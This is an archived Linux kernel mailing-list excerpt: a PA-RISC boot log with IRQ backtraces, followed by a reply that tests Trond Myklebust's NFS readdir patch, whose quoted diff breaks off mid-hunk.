[    0.910000] 1. Rhapsody DC- 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5c9, 0x00004 }
[    0.920000] 2. Rhapsody DC- 440 at 0xfffffffffffa6000 [166] { 0, 0x0, 0x5c9, 0x00004 }
[    0.920000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x095, 0x00009 }
[    0.930000] 4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
[    0.940000] 5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
[    0.990000] 6. Elroy PCI Bridge at 0xfffffffffed32000 [0/1] { 13, 0x0, 0x782, 0x0000a }
[    1.000000] 7. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
[    1.000000] 8. Elroy PCI Bridge at 0xfffffffffed36000 [0/3] { 13, 0x0, 0x782, 0x0000a }
[    1.010000] 9. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
[    1.020000] 10. Elroy PCI Bridge at 0xfffffffffed3a000 [0/5] { 13, 0x0, 0x782, 0x0000a }
[    1.410000] 11. Elroy PCI Bridge at 0xfffffffffed3c000 [0/6] { 13, 0x0, 0x782, 0x0000a }
[    1.420000] 12. Elroy PCI Bridge at 0xfffffffffed3e000 [0/7] { 13, 0x0, 0x782, 0x0000a }
[    1.430000] Enabling PDC_PAT chassis codes support v0.05
[    1.760000] Releasing cpu 1 now, hpa=fffffffffffa6000
[    1.770000] FP[1] enabled: Rev 1 Model 16
[    1.780000] IRQ handler type mismatch for IRQ 64
[    1.780000] current handler: timer
[    1.790000] Backtrace:
[    1.790000]  [<000000004011ed24>] show_stack+0x14/0x20
[    1.810000]  [<00000000401174a8>] dump_stack+0x18/0x28
[    1.810000]  [<0000000040196cd0>] __setup_irq+0x4d0/0x500
[    1.820000]  [<0000000040196d40>] setup_irq+0x40/0x58
[    1.820000]  [<00000000406d7378>] init_IRQ+0xa8/0x130
[    1.830000]  [<00000000406d87c4>] smp_callin+0x144/0x1a8
[    1.830000]  [<00000000402011e4>] d_rehash+0x4c/0x60
[    1.860000]  [<00000000401f9330>] do_path_lookup+0xa0/0x140
[    1.860000]  [<00000000401fa72c>] do_filp_open+0x17c/0x780
[    1.870000]  [<0000000040142b78>] enqueue_task+0x60/0x88
[    1.870000]  [<000000004011b5f0>] _raw_spin_unlock_irqrestore+0x18/0x30
[    1.880000]  [<000000004014965c>] finish_task_switch+0x4c/0x150
[    1.880000]  [<000000004014b564>] schedule_tail+0x54/0x160
[    1.910000]  [<000000004010347c>] ret_from_kernel_thread+0x24/0x40
[    1.910000] 
[    1.910000] IRQ handler type mismatch for IRQ 65
[    1.920000] current handler: IPI
[    1.920000] Backtrace:
[    1.920000]  [<000000004011ed24>] show_stack+0x14/0x20
[    1.930000]  [<00000000401174a8>] dump_stack+0x18/0x28
[    1.930000]  [<0000000040196cd0>] __setup_irq+0x4d0/0x500
[    1.940000]  [<0000000040196d40>] setup_irq+0x40/0x58
[    1.940000]  [<00000000406d73b4>] init_IRQ+0xe4/0x130
[    1.960000]  [<00000000406d87c4>] smp_callin+0x144/0x1a8
[    1.970000]  [<00000000402011e4>] d_rehash+0x4c/0x60
[    1.970000]  [<00000000401f9330>] do_path_lookup+0xa0/0x140
[    1.980000]  [<00000000401fa72c>] do_filp_open+0x17c/0x780
[    1.980000]  [<0000000040142b78>] enqueue_task+0x60/0x88
[    1.990000]  [<000000004011b5f0>] _raw_spin_unlock_irqrestore+0x18/0x30
[    1.990000]  [<000000004014965c>] finish_task_switch+0x4c/0x150
[    2.030000]  [<000000004014b564>] schedule_tail+0x54/0x160
[    2.030000]  [<000000004010347c>] ret_from_kernel_thread+0x24/0x40
[    2.040000] 
[    2.130000] CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz
[    2.130000] Whole cache flush 333647 cycles, flushing 6287360 bytes 1074964 cycles
[    2.130000] Setting cache flush threshold to 100000 (2 CPUs online)
[    2.190000] SBA found Astro 2.1 at 0xfffffffffed00000
[    2.200000] Elroy version TR4.0 (0x5) found at 0xfffffffffed30000
[    2.230000] pci 0000:00:00.0: [1011:0019] type 0 class 0x000200
[    2.230000] pci 0000:00:00.0: reg 10: [io  0x0000-0x007f]
[    2.230000] pci 0000:00:00.0: reg 14: [mem 0x00000000-0x000003ff]
[    2.230000] pci 0000:00:00.0: reg 30: [mem 0x00000000-0x0003ffff pref]
[    2.230000] pci 0000:00:01.0: [1000:000b] type 0 class 0x000100
[    2.230000] pci 0000:00:01.0: reg 10: [io  0x0000-0x00ff]
[    2.230000] pci 0000:00:01.0: reg 14: [mem 0x00000000-0x000003ff 64bit]
[    2.230000] pci 0000:00:01.0: reg 1c: [mem 0x00000000-0x00001fff 64bit]
[    2.230000] pci 0000:00:01.0: supports D1 D2
[    2.230000] pci 0000:00:01.1: [1000:000b] type 0 class 0x000100
[    2.230000] pci 0000:00:01.1: reg 10: [io  0x0000-0x00ff]
[    2.230000] pci 0000:00:01.1: reg 14: [mem 0xf8020000-0xf80203ff 64bit]
[    2.230000] pci 0000:00:01.1: reg 1c: [mem 0xf8040000-0xf8041fff 64bit]
[    2.230000] pci 0000:00:01.1: supports D1 D2
[    2.230000] pci 0000:00:02.0: [1000:000f] type 0 class 0x000100
[    2.230000] pci 0000:00:02.0: reg 10: [io  0x0000-0x00ff]
[    2.230000] pci 0000:00:02.0: reg 14: [mem 0x00000000-0x000000ff]
[    2.230000] pci 0000:00:02.0: reg 18: [mem 0x00000000-0x00000fff]
[    2.230000] pci 0000:00:02.1: [1000:000f] type 0 class 0x000100
[    2.230000] pci 0000:00:02.1: reg 10: [io  0x0000-0x00ff]
[    2.230000] pci 0000:00:02.1: reg 14: [mem 0x00000000-0x000000ff]
[    2.230000] pci 0000:00:02.1: reg 18: [mem 0x00000000-0x00000fff]
[    2.240000] pci 0000:00:04.0: [103c:1048] type 0 class 0x000700
[    2.240000] pci 0000:00:04.0: reg 10: [mem 0xf8000000-0xf8000fff]
[    2.240000] pci 0000:00:04.0: reg 14: [io  0x0000-0x003f]
[    2.240000] pci 0000:00:05.0: [103c:1048] type 0 class 0x000700
[    2.240000] pci 0000:00:05.0: reg 10: [mem 0x00000000-0x00000fff]
[    2.240000] pci 0000:00:05.0: reg 14: [io  0x0000-0x003f]
[    2.240000] pci 0000:00:00.0: BAR 6: assigned [mem 0xfffffffff8080000-0xfffffffff80bffff pref]
[    2.300000] pci 0000:00:01.0: BAR 3: assigned [mem 0xfffffffff8002000-0xfffffffff8003fff 64bit]
[    2.440000] pci 0000:00:01.0: BAR 3: set to [mem 0xfffffffff8002000-0xfffffffff8003fff 64bit] (PCI address [0xf8002000-0xf8003fff])
[    2.460000] pci 0000:00:02.0: BAR 2: assigned [mem 0xfffffffff8001000-0xfffffffff8001fff]
[    2.460000] pci 0000:00:02.0: BAR 2: set to [mem 0xfffffffff8001000-0xfffffffff8001fff] (PCI address [0xf8001000-0xf8001fff])
[    2.730000] pci 0000:00:02.1: BAR 2: assigned [mem 0xfffffffff8004000-0xfffffffff8004fff]
[    2.860000] pci 0000:00:02.1: BAR 2: set to [mem 0xfffffffff8004000-0xfffffffff8004fff] (PCI address [0xf8004000-0xf8004fff])
[    3.000000] pci 0000:00:05.0: BAR 0: assigned [mem 0xfffffffff8005000-0xfffffffff8005fff]
[    3.140000] pci 0000:00:05.0: BAR 0: set to [mem 0xfffffffff8005000-0xfffffffff8005fff] (PCI address [0xf8005000-0xf8005fff])
[    3.290000] pci 0000:00:00.0: BAR 1: assigned [mem 0xfffffffff8006000-0xfffffffff80063ff]
[    3.420000] pci 0000:00:00.0: BAR 1: set to [mem 0xfffffffff8006000-0xfffffffff80063ff] (PCI address [0xf8006000-0xf80063ff])
[    3.440000] pci 0000:00:01.0: BAR 1: assigned [mem 0xfffffffff8007000-0xfffffffff80073ff 64bit]
[    3.450000] pci 0000:00:01.0: BAR 1: set to [mem 0xfffffffff8007000-0xfffffffff80073ff 64bit] (PCI address [0xf8007000-0xf80073ff])
[    3.710000] pci 0000:00:01.0: BAR 0: assigned [io  0x0100-0x01ff]
[    3.720000] pci 0000:00:01.0: BAR 0: set to [io  0x0100-0x01ff] (PCI address [0x100-0x1ff])
[    3.990000] pci 0000:00:01.1: BAR 0: assigned [io  0x0200-0x02ff]
[    4.000000] pci 0000:00:01.1: BAR 0: set to [io  0x0200-0x02ff] (PCI address [0x200-0x2ff])
[    4.130000] pci 0000:00:02.0: BAR 0: assigned [io  0x0300-0x03ff]
[    4.140000] pci 0000:00:02.0: BAR 0: set to [io  0x0300-0x03ff] (PCI address [0x300-0x3ff])
[    4.270000] pci 0000:00:02.0: BAR 1: assigned [mem 0xfffffffff8008000-0xfffffffff80080ff]
[    4.280000] pci 0000:00:02.0: BAR 1: set to [mem 0xfffffffff8008000-0xfffffffff80080ff] (PCI address [0xf8008000-0xf80080ff])
[    4.560000] pci 0000:00:02.1: BAR 0: assigned [io  0x0400-0x04ff]
[    4.560000] pci 0000:00:02.1: BAR 0: set to [io  0x0400-0x04ff] (PCI address [0x400-0x4ff])
[    4.840000] pci 0000:00:02.1: BAR 1: assigned [mem 0xfffffffff8009000-0xfffffffff80090ff]
[    4.850000] pci 0000:00:02.1: BAR 1: set to [mem 0xfffffffff8009000-0xfffffffff80090ff] (PCI address [0xf8009000-0xf80090ff])
[    4.980000] pci 0000:00:00.0: BAR 0: assigned [io  0x0080-0x00ff]
[    4.980000] pci 0000:00:00.0: BAR 0: set to [io  0x0080-0x00ff] (PCI address [0x80-0xff])
[    5.260000] pci 0000:00:04.0: BAR 1: assigned [io  0x0040-0x007f]
[    5.260000] pci 0000:00:04.0: BAR 1: set to [io  0x0040-0x007f] (PCI address [0x40-0x7f])
[    5.270000] pci 0000:00:05.0: BAR 1: assigned [io  0x0500-0x053f]
[    5.540000] pci 0000:00:05.0: BAR 1: set to [io  0x0500-0x053f] (PCI address [0x500-0x53f])
[    5.560000] Elroy version TR4.0 (0x5) found at 0xfffffffffed32000
[    5.700000] Elroy version TR4.0 (0x5) found at 0xfffffffffed34000
[    5.700000] NOTICE: Enabling PCI Arbitration
[    5.730000] Elroy version TR4.0 (0x5) found at 0xfffffffffed36000
[    5.840000] pci 0000:18:00.0: [1011:0019] type 0 class 0x000200
[    5.840000] pci 0000:18:00.0: reg 10: [io  0xdc139c00-0xdc139c7f]
[    5.840000] pci 0000:18:00.0: reg 14: [mem 0xd053f800-0xd053fbff]
[    5.840000] pci 0000:18:00.0: reg 30: [mem 0xcefc0000-0xceffffff pref]
[    5.840000] pci 0000:18:00.0: no compatible bridge window for [io  0xdc139c00-0xdc139c7f]
[    5.960000] pci 0000:18:00.0: no compatible bridge window for [mem 0xffffffffd053f800-0xffffffffd053fbff]
[    5.970000] pci 0000:18:00.0: no compatible bridge window for [mem 0xffffffffcefc0000-0xffffffffceffffff pref]
[    6.100000] pci 0000:18:00.0: BAR 6: assigned [mem 0xfffffffff9800000-0xfffffffff983ffff pref]
[    6.240000] pci 0000:18:00.0: BAR 1: assigned [mem 0xfffffffff9840000-0xfffffffff98403ff]
[    6.380000] pci 0000:18:00.0: BAR 1: set to [mem 0xfffffffff9840000-0xfffffffff98403ff] (PCI address [0xf9840000-0xf98403ff])
[    6.530000] pci 0000:18:00.0: BAR 0: assigned [io  0x30000-0x3007f]
[    6.530000] pci 0000:18:00.0: BAR 0: set to [io  0x30000-0x3007f] (PCI address [0x0-0x7f])
[    6.540000] Elroy version TR4.0 (0x5) found at 0xfffffffffed38000
[    6.810000] NOTICE: Enabling PCI Arbitration
[    6.830000] Elroy version TR4.0 (0x5) found at 0xfffffffffed3a000
[    6.840000] NOTICE: Enabling PCI Arbitration
[    6.860000] Elroy version TR4.0 (0x5) found at 0xfffffffffed3c000
[    6.940000] NOTICE: Enabling PCI Arbitration
[    6.970000] Elroy version TR4.0 (0x5) found at 0xfffffffffed3e000
[    6.970000] NOTICE: Enabling PCI Arbitration
[    7.000000] powersw: Soft power switch support not available.
[    7.090000] bio: create slab <bio-0> at 0
[    7.220000] vgaarb: loaded
[    7.230000] SCSI subsystem initialized
[    7.260000] NET: Registered protocol family 2
[    7.270000] IP route cache hash table entries: 131072 (order: 8, 1048576 bytes)
[    7.370000] TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
[    7.530000] TCP bind hash table entries: 65536 (order: 9, 2097152 bytes)
[    7.540000] TCP: Hash tables configured (established 262144 bind 65536)
[    7.650000] TCP reno registered
[    7.660000] UDP hash table entries: 2048 (order: 5, 196608 bytes)
[    7.790000] UDP-Lite hash table entries: 2048 (order: 5, 196608 bytes)
[    7.800000] NET: Registered protocol family 1
[    7.930000] PCI: CLS 64 bytes
[    7.930000] Chassis warnings not supported.
[    7.940000] Performance monitoring counters enabled for Rhapsody DC- 440
[    8.100000] VFS: Disk quotas dquot_6.5.2
[    8.100000] Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[    8.210000] msgmni has been set to 6022
[    8.220000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[    8.230000] io scheduler noop registered
[    8.350000] io scheduler cfq registered (default)
[    8.370000] PDC Stable Storage facility v0.30
[    9.180000] STI GSC/PCI core graphics driver Version 0.9a
[    9.180000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[    9.200000] serial 0000:00:04.0: enabling device (0146 -> 0147)
[    9.230000] 0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 70) is a 16550A
[    9.240000] console [ttyS0] enabled, bootconsole disabled
[    9.280000] 0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 70) is a 16550A
[    9.320000] 0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 70) is a 16550A
[    9.330000] serial 0000:00:05.0: enabling device (0000 -> 0003)
[    9.340000] serial 0000:00:05.0: enabling SERR and PARITY (0003 -> 0143)
[    9.380000] 0000:00:05.0: ttyS3 at MMIO 0xfffffffff8005000 (irq = 71) is a 16550A
[    9.420000] Couldn't register serial port 0000:00:05.0: -28
[    9.560000] sym53c8xx 0000:00:01.0: enabling device (0000 -> 0003)
[    9.570000] sym53c8xx 0000:00:01.0: enabling SERR and PARITY (0003 -> 0143)
[    9.770000] sym0: <896> rev 0x5 at pci 0000:00:01.0 irq 67
[    9.780000] sym0: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
[    9.850000] sym0: SCSI BUS has been reset.
[    9.860000] scsi0 : sym-2.2.3
[    9.860000] sym53c8xx 0000:00:01.1: enabling device (0146 -> 0147)
[   10.050000] sym1: <896> rev 0x5 at pci 0000:00:01.1 irq 68
[   10.060000] sym1: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
[   10.130000] sym1: SCSI BUS has been reset.
[   10.130000] scsi1 : sym-2.2.3
[   10.130000] sym1: SCSI BUS mode change from SE to SE.
[   10.130000] sym1: SCSI BUS has been reset.
[   10.280000] sym53c8xx 0000:00:02.0: enabling device (0000 -> 0003)
[   10.410000] sym53c8xx 0000:00:02.0: enabling SERR and PARITY (0003 -> 0143)
[   10.620000] sym2: <875> rev 0x14 at pci 0000:00:02.0 irq 68
[   10.710000] sym2: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
[   10.720000] sym2: SCSI BUS has been reset.
[   10.720000] scsi2 : sym-2.2.3
[   10.730000] sym53c8xx 0000:00:02.1: enabling device (0000 -> 0003)
[   10.830000] sym53c8xx 0000:00:02.1: enabling SERR and PARITY (0003 -> 0143)
[   10.910000] sym3: <875> rev 0x14 at pci 0000:00:02.1 irq 69
[   11.060000] sym3: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
[   11.120000] sym3: SCSI BUS has been reset.
[   11.120000] scsi3 : sym-2.2.3
[   11.130000] mousedev: PS/2 mouse device common for all mice
[   11.250000] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[   11.270000] TCP cubic registered
[   11.390000] NET: Registered protocol family 17
[   11.400000] Registering the dns_resolver key type
[   11.530000] scsi: waiting for bus probes to complete ...
[   13.190000] scsi 1:0:0:0: Direct-Access     SEAGATE  ST136403LC       HP01 PQ: 0 ANSI: 2
[   13.200000] scsi target1:0:0: tagged command queuing enabled, command queue depth 16.
[   13.220000] scsi target1:0:0: Beginning Domain Validation
[   13.240000] scsi target1:0:0: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
[   13.250000] scsi target1:0:0: Domain Validation skipping write tests
[   13.260000] scsi target1:0:0: Ending Domain Validation
[   13.760000] scsi 2:0:0:0: Direct-Access     SEAGATE  ST136403LC       HP01 PQ: 0 ANSI: 2
[   13.760000] scsi target2:0:0: tagged command queuing enabled, command queue depth 16.
[   13.770000] scsi target2:0:0: Beginning Domain Validation
[   13.810000] scsi target2:0:0: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
[   13.820000] scsi target2:0:0: Domain Validation skipping write tests
[   13.820000] scsi target2:0:0: Ending Domain Validation
[   14.770000] scsi 3:0:2:0: CD-ROM            HP       DVD-ROM 304      2.00 PQ: 0 ANSI: 2
[   14.780000] scsi target3:0:2: Beginning Domain Validation
[   14.800000] scsi target3:0:2: FAST-20 SCSI 20.0 MB/s ST (50 ns, offset 16)
[   14.810000] scsi target3:0:2: Domain Validation skipping write tests
[   14.820000] scsi target3:0:2: Ending Domain Validation
[   17.480000] sd 1:0:0:0: [sda] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
[   17.490000] sd 1:0:0:0: [sda] Write Protect is off
[   17.510000] sd 1:0:0:0: [sda] Mode Sense: 9f 00 10 08
[   17.510000] sd 1:0:0:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   17.550000]  sda: sda1 sda2 sda3 < sda5 sda6 >
[   17.570000] sd 1:0:0:0: [sda] Attached SCSI disk
[   17.980000] sd 2:0:0:0: [sdb] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
[   17.990000] sd 2:0:0:0: [sdb] Write Protect is off
[   18.010000] sd 2:0:0:0: [sdb] Mode Sense: 9f 00 10 08
[   18.010000] sd 2:0:0:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   18.060000]  sdb: sdb1 sdb2 sdb3 < sdb5 sdb6 >
[   18.070000] sd 2:0:0:0: [sdb] Attached SCSI disk
[   18.380000] rtc-generic rtc-generic: setting system clock to 2011-01-10 07:50:23 UTC (1294645823)
[   18.470000] EXT4-fs (sda5): mounted filesystem with ordered data mode. Opts: (null)
[   18.480000] VFS: Mounted root (ext4 filesystem) readonly on device 8:5.
[   18.500000] Freeing unused kernel memory: 172k freed
[   18.500000] Write protecting the kernel read-only data: 652k
[   21.030000] Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
[   21.040000] tulip 0000:00:00.0: enabling device (0140 -> 0143)
[   21.060000] tulip0: no phy info, aborting mtable build
[   21.070000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1
[   21.090000] net eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff8006000, 00:10:83:fe:9c:b0, IRQ 66
[   21.100000] tulip 0000:18:00.0: enabling device (0000 -> 0003)
[   21.110000] tulip 0000:18:00.0: enabling SERR and PARITY (0003 -> 0143)
[   21.140000] tulip1: EEPROM default media type Autosense
[   21.150000] tulip1: Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block
[   21.170000] tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101
[   21.180000] tulip1:  Advertising 01e1 on PHY 1, previously advertising 0101
[   21.190000] net eth1: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff9840000, 00:10:83:fb:99:c0, IRQ 72
[   21.650000] sr0: scsi3-mmc drive: 0x/0x cd/rw xa/form2 cdda tray
[   21.650000] cdrom: Uniform CD-ROM driver Revision: 3.20
[   21.670000] sr 3:0:2:0: Attached scsi CD-ROM sr0
[   21.800000] sd 1:0:0:0: Attached scsi generic sg0 type 0
[   21.810000] sd 2:0:0:0: Attached scsi generic sg1 type 0
[   21.820000] sr 3:0:2:0: Attached scsi generic sg2 type 5
[   23.760000] Adding 1350652k swap on /dev/sda6.  Priority:-1 extents:1 across:1350652k 
[   23.820000] EXT4-fs (sda5): re-mounted. Opts: (null)
[   24.360000] EXT4-fs (sda5): re-mounted. Opts: errors=remount-ro
[   24.810000] loop: module loaded
[   31.060000] net eth0: Setting full-duplex based on MII#1 link partner capability of 45e1
[   31.360000] NET: Registered protocol family 10
[   31.370000] lo: Disabled Privacy Extensions
[   31.660000] sshd (924): /proc/924/oom_adj is deprecated, please use /proc/924/oom_score_adj instead.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Uwe =?iso-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Mon, 10 Jan 2011 11:50:19 +0100
Lines: 489
Approved: news@gmane.org
Message-ID: <20110110105019.GC24920@pengutronix.de>
References: <1294268808.2952.18.camel@heimdal.trondhjem.org>
 <1294270104.16957.73.camel@mulgrave.site>
 <1294335614.22825.154.camel@mulgrave.site>
 <1294336054.2905.1.camel@heimdal.trondhjem.org>
 <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
 <1294426405.2929.23.camel@heimdal.trondhjem.org>
 <20110107190229.GX31708@n2100.arm.linux.org.uk>
 <1294427467.4895.66.camel@mulgrave.site>
 <1294505384.4181.14.camel@heimdal.trondhjem.org>
 <1294528551.4181.19.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1294656669 6346 80.91.229.12 (10 Jan 2011 10:51:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 10:51:09 +0000 (UTC)
Cc: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Jan 10 11:51:02 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PcFL3-0003A0-5H
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Mon, 10 Jan 2011 11:51:01 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753278Ab1AJKu7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glN-linux-nfs@m.gmane.org>); Mon, 10 Jan 2011 05:50:59 -0500
Original-Received: from metis.ext.pengutronix.de ([92.198.50.35]:53314 "EHLO
	metis.ext.pengutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752768Ab1AJKu6 (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 10 Jan 2011 05:50:58 -0500
Original-Received: from octopus.hi.pengutronix.de ([2001:6f8:1178:2:215:17ff:fe12:23b0])
	by metis.ext.pengutronix.de with esmtp (Exim 4.72)
	(envelope-from <ukl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>)
	id 1PcFKS-0005o5-2Z; Mon, 10 Jan 2011 11:50:24 +0100
Original-Received: from ukl by octopus.hi.pengutronix.de with local (Exim 4.69)
	(envelope-from <ukl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>)
	id 1PcFKN-0002Vg-Py; Mon, 10 Jan 2011 11:50:19 +0100
Content-Disposition: inline
In-Reply-To: <1294528551.4181.19.camel-rJ7iovZKK19ZJLDQqaL3InhyD016LWXt@public.gmane.org>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-SA-Exim-Connect-IP: 2001:6f8:1178:2:215:17ff:fe12:23b0
X-SA-Exim-Mail-From: ukl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org
X-SA-Exim-Scanned: No (on metis.ext.pengutronix.de); SAEximRunCond expanded to false
X-PTX-Original-Recipient: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38112 gmane.linux.kernel:1085565 gmane.linux.ports.arm.kernel:101986 gmane.linux.ports.parisc:3362 gmane.linux.kernel.cross-arch:8751
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38112>

Hi Trond,

On Sat, Jan 08, 2011 at 06:15:51PM -0500, Trond Myklebust wrote:
> ---------------------------------------------------------------------=
--------------=20
It would be great if you could add a "8<" in the line above next time.
Then git-am -c does the right thing (at least I think so).

> From 8b2e60cef5c65eef41ab61286f62dec6bfb1ac27 Mon Sep 17 00:00:00 200=
1
> From: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
> Date: Sat, 8 Jan 2011 17:45:38 -0500
> Subject: [PATCH] NFS: Don't use vm_map_ram() in readdir
>=20
> vm_map_ram() is not available on NOMMU platforms, and causes trouble
> on incoherrent architectures such as ARM when we access the page data
> through both the direct and the virtual mapping.
>=20
> The alternative is to use the direct mapping to access page data
> for the case when we are not crossing a page boundary, but to copy
> the data into a linear scratch buffer when we are accessing data
> that spans page boundaries.
>=20
> Signed-off-by: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Tested-by: Uwe Kleine-K=F6nig <u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>

on tx28.

Thanks
Uwe

> ---
>  fs/nfs/dir.c               |   44 ++++++-------
>  fs/nfs/nfs2xdr.c           |    6 --
>  fs/nfs/nfs3xdr.c           |    6 --
>  fs/nfs/nfs4xdr.c           |    6 --
>  include/linux/sunrpc/xdr.h |    4 +-
>  net/sunrpc/xdr.c           |  155 ++++++++++++++++++++++++++++++++++=
+---------
>  6 files changed, 148 insertions(+), 73 deletions(-)
>=20
> diff --git a/fs/nfs/dir.c b/fs/nfs/dir.c
> index 996dd89..0108cf4 100644
> --- a/fs/nfs/dir.c
> +++ b/fs/nfs/dir.c
> @@ -33,7 +33,6 @@
>  #include <linux/namei.h>
>  #include <linux/mount.h>
>  #include <linux/sched.h>
> -#include <linux/vmalloc.h>
>  #include <linux/kmemleak.h>
> =20
>  #include "delegation.h"
> @@ -459,25 +458,26 @@ out:
>  /* Perform conversion from xdr to cache array */
>  static
>  int nfs_readdir_page_filler(nfs_readdir_descriptor_t *desc, struct n=
fs_entry *entry,
> -				void *xdr_page, struct page *page, unsigned int buflen)
> +				struct page **xdr_pages, struct page *page, unsigned int buflen)
>  {
>  	struct xdr_stream stream;
> -	struct xdr_buf buf;
> -	__be32 *ptr =3D xdr_page;
> +	struct xdr_buf buf =3D {
> +		.pages =3D xdr_pages,
> +		.page_len =3D buflen,
> +		.buflen =3D buflen,
> +		.len =3D buflen,
> +	};
> +	struct page *scratch;
>  	struct nfs_cache_array *array;
>  	unsigned int count =3D 0;
>  	int status;
> =20
> -	buf.head->iov_base =3D xdr_page;
> -	buf.head->iov_len =3D buflen;
> -	buf.tail->iov_len =3D 0;
> -	buf.page_base =3D 0;
> -	buf.page_len =3D 0;
> -	buf.buflen =3D buf.head->iov_len;
> -	buf.len =3D buf.head->iov_len;
> -
> -	xdr_init_decode(&stream, &buf, ptr);
> +	scratch =3D alloc_page(GFP_KERNEL);
> +	if (scratch =3D=3D NULL)
> +		return -ENOMEM;
> =20
